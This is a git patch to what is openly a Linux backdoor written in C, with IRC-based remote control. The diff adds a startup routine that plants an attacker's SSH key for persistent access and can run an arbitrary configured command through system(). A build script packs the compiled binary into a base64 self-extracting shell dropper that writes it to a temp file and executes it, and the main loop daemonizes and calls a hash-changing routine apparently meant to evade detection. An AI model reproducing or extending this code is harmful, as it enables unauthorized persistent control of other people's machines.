From e6054f2f0428ddc228485501ab8b746d75cbefb0 Mon Sep 17 00:00:00 2001 From: usr Date: Sun, 12 May 2024 12:47:02 +0300 Subject: [PATCH] updated --- gen_script.sh | 2 +- include/backdoor.h | 1 + include/cfg.h | 12 ++++++++---- src/backdoor.c | 12 +++++++++--- src/main.c | 3 +++ 5 files changed, 22 insertions(+), 8 deletions(-) diff --git a/gen_script.sh b/gen_script.sh index 40a5461..0152e16 100755 --- a/gen_script.sh +++ b/gen_script.sh @@ -6,6 +6,6 @@ payload=$(cat main | base64 | xargs | tr -d " ") echo "#!/bin/sh" > script.sh echo "f=\""$payload\" >> script.sh -echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXX)\necho \$f | base64 -d > \$t\nchmod +x \$t\nexec \$t" >> script.sh +echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXX); echo \$f | base64 -d > \$t; chmod +x \$t; exec \$t" >> script.sh chmod +x script.sh diff --git a/include/backdoor.h b/include/backdoor.h index 5be1c01..bb0e21a 100644 --- a/include/backdoor.h +++ b/include/backdoor.h @@ -4,6 +4,7 @@ #define COMMON_BUF_SIZE 100 +void backdoor_init(void); void backdoor_offline(void); void parse_cmd(IRCC_client *client); diff --git a/include/cfg.h b/include/cfg.h index 1ee968d..1e592fe 100644 --- a/include/cfg.h +++ b/include/cfg.h @@ -29,15 +29,19 @@ /* Uncomment if you want to enable option */ /* #define CFG_SSH */ + /* #define CFG_CMD */ + /* Will start after startup */ #ifdef CFG_SSH - /* - * Writes your ssh key if connection - * was not established - */ + /* Writes your ssh key */ const char *ssh_key = ""; #endif + #ifdef CFG_CMD + /* Execute command */ + + const char *cmd = ""; + #endif #endif diff --git a/src/backdoor.c b/src/backdoor.c index 03d3156..c96c6aa 100644 --- a/src/backdoor.c +++ b/src/backdoor.c @@ -10,9 +10,7 @@ static FILE *fp; -void backdoor_offline(void) { - sleep(60); - +void backdoor_init(void) { #ifdef CFG_SSH /* Write ssh key */ size_t len = strlen(ssh_key); @@ -46,9 +44,17 @@ void backdoor_offline(void) { fprintf(fp, "%s\n", ssh_key); fclose(fp); + +#ifdef CFG_CMD + system(cmd); + #endif } +void backdoor_offline(void) { + sleep(60); +} + void send_info(IRCC_client *client, const char *buf) { char *nick = strdup(client->irc_nick); if (nick == NULL) diff --git a/src/main.c b/src/main.c index 915cdf6..6075fb1 100644 --- a/src/main.c +++ b/src/main.c @@ -71,6 +71,7 @@ int main(void) { ChangeHashSum(); daemon(0, 0); + /* Main */ if (fork() == 0) { daemon(0, 0); signal(SIGINT, SIG_IGN); @@ -79,6 +80,8 @@ int main(void) { srand(getpid()); chdir(getenv("HOME")); + + backdoor_init(); while (1) if (start()) backdoor_offline();